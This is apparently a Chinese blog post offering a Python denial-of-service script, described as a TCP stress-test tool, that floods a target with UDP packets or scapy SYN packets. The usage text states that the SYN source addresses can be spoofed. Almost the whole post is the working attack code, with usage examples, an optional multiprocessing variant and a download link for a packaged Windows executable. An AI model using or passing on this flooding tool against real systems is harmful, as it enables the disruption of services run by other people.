python DOS 攻击,TCP压测脚本

pip3 install string&&scapy

 

个人博客地址

http://www.darkghost.life

 1 #!/usr/bin env python
 2 #-*-coding:utf-8-*-
 3 import socket,random,string
 4 import time,sys
 5 from scapy.all import *
 6 from concurrent import futures 
 7 class Dos:
 8     def __init__(self,t_ype,sip,dip,port,pps,dos_time):
 9         self.t_ype = t_ype
10         self.sip = sip
11         self.dip = dip
12         self.port = port
13         self.pps = pps
14         self.dos_time = dos_time
15         self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
16     def _udp(self,work_id):
17         count = 0
18         while count<self.dos_time:
19             try:
20                 sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
21                 sk.bind((self.sip,0))
22                 sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
23             except Exception as e:
24                 print(e)
25             time.sleep(0.01)
26             count+=0.01
27     def _tcp(self,work_id):
28         count = 0
29         sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
30         syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
31         while count<self.dos_time:
32             try:
33                 send(syn,verbose=0,inter=0.01,count=100)
34             except Exception as e:
35                 print(e)
36             time.sleep(1)    #100个tcp连接
37             count+=1
38     def run(self):
39         if self.t_ype.upper() == 'UDP':
40             func = self._udp
41             pps = self.pps//8+1
42             unit ='Mpps'
43             count = pps*8
44         elif self.t_ype.upper()=='TCP':
45             func = self._tcp
46             pps = self.pps//100+1
47             unit = 'Connetcions'
48             count = pps*100
49         work_id = [x for x in range(pps)]  
50         print('''SourceIp:%s
51     DestiantionIp:%s
52     DstPort:%s
53     %s:%s %s
54     KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
55         with futures.ThreadPoolExecutor(100) as executor: 
56             res = executor.map(func, work_id)
57 if __name__=='__main__':
58     try:
59         t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
60         dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
61         dos.run()
62     except:
63         print('argv:')
64         print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
65         print('     SourceIp:TCP can be a fake IP,UDP cannot ')
66         print('     Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
67         print('example:')
68         print(' ./dos  udp 10.0.3.108 10.0.64.74 1111 10 5')
69         print(' ./dos  tcp 1.1.1.1 10.0.64.74 1111 1000 5')
70 
71 
72 # 机器性能不足可以启用多进程
73 # from multiprocessing import Process
74 # def dos(sip,dip,port,pps,dos_time):
75 #     pps = pps//8+1
76 #     print('''SourceIp:%s
77 # DestiantionIp:%s
78 # DstPort:%s
79 # pps:%sMpps
80 # KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
81 #     for x in range(pps):
82 #         p = Process(target=run,args=(sip,dip,port,dos_time))
83 #         p.start()

 

 

windows 打包exe

链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05

 

posted @ 2022-04-15 14:51  无限's-blog  阅读(643)  评论(0编辑  收藏  举报